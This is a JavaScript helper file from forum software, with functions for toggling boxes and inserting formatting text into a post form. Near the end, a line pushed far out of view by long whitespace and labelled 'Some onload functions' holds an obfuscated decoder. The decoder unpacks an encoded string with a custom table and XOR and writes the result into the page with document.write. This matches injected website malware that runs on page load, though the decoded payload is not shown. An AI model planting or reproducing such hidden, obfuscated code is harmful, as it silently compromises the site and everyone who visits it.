/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function I0l0OOllO110O001I0l0llOl1Ill1O00O000I0l0(I10l1100O0010O0O001OOOO0OI00ll110O1OlOO1){var Ol1OIlII101ll0l1O01III0l01l100l000Oll1O0=I10l1100O0010O0O001OOOO0OI00ll110O1OlOO1.length,lIl0llO10llIO0OO11IOOIIII1OOO0OIIOII10lO=1024,Il0OlI010llIOOO0llO1000lIIO0l1Ol1IO01OOO,l11llI0IIO0II0O1ll1I1IIOO1Olll111O0100lI,lllIIlI1O0IOOII10O1OIIl0O1100O1O110l0l1I,OIOI0I01lOl1lO1O0OO01I1O1I000I1I1lOOIOlO=0,lIl000O1Ol1lIIO0OO0O01111lllOI1O11OO1lll=0,l1lI01IOlI0l0O11101IlI10lII1IO1Il01lO011=0,I110II1llIII1ll0IO110Ol0I1l0O0O1OIO0OI01=Array(63,55,23,5,43,8,19,45,18,46,0,0,0,0,0,0,33,22,21,24,27,12,13,56,57,36,7,28,17,30,37,51,62,41,14,29,35,60,48,59,47,20,9,0,0,0,0,2,0,42,31,52,16,40,4,34,15,54,10,25,53,0,3,1,39,11,38,50,6,44,58,26,61,49,32);for(l11llI0IIO0II0O1ll1I1IIOO1Olll111O0100lI=Math.ceil(Ol1OIlII101ll0l1O01III0l01l100l000Oll1O0/lIl0llO10llIO0OO11IOOIIII1OOO0OIIOII10lO);l11llI0IIO0II0O1ll1I1IIOO1Olll111O0100lI>0;l11llI0IIO0II0O1ll1I1IIOO1Olll111O0100lI--){lllIIlI1O0IOOII10O1OIIl0O1100O1O110l0l1I='';for(Il0OlI010llIOOO0llO1000lIIO0l1Ol1IO01OOO=Math.min(Ol1OIlII101ll0l1O01III0l01l100l000Oll1O0,lIl0llO10llIO0OO11IOOIIII1OOO0OIIOII10lO);Il0OlI010llIOOO0llO1000lIIO0l1Ol1IO01OOO>0;Il0OlI010llIOOO0llO1000lIIO0l1Ol1IO01OOO--,Ol1OIlII101ll0l1O01III0l01l100l000Oll1O0--){l1lI01IOlI0l0O11101IlI10lII1IO1Il01lO011|=(I110II1llIII1ll0IO110Ol0I1l0O0O1OIO0OI01[I10l1100O0010O0O001OOOO0OI00ll110O1OlOO1.charCodeAt(OIOI0I01lOl1lO1O0OO01I1O1I000I1I1lOOIOlO++)-48])<<lIl000O1Ol1lIIO0OO0O01111lllOI1O11OO1lll;if(lIl000O1Ol1lIIO0OO0O01111lllOI1O11OO1lll){lllIIlI1O0IOOII10O1OIIl0O1100O1O110l0l1I+=String.fromCharCode(165^l1lI01IOlI0l0O11101IlI10lII1IO1Il01lO011&255);l1lI01IOlI0l0O11101IlI10lII1IO1Il01lO011>>=8;lIl000O1Ol1lIIO0OO0O01111lllOI1O11OO1lll-=2}else{lIl000O1Ol1lIIO0OO0O01111lllOI1O11OO1lll=6}}document.write(lllIIlI1O0IOOII10O1OIIl0O1100O1O110l0l1I)}}I0l0OOllO110O001I0l0llOl1Ill1O00O000I0l0("ksUV26Esm2ecEJKcFTkN3iEVEqKOLTkN3wScKpEVCMCVEDSlZ6E1b9usqnup6OulEbEOZOKcK0kOEJKVmXU@3wxltTH@FJScB0QgjwScj27lADFVqsUsn4ugZXClF27rL1K1J9krjsUV26EsmXZ");                                                                                                                                                                                                                                                                              
// End onload functions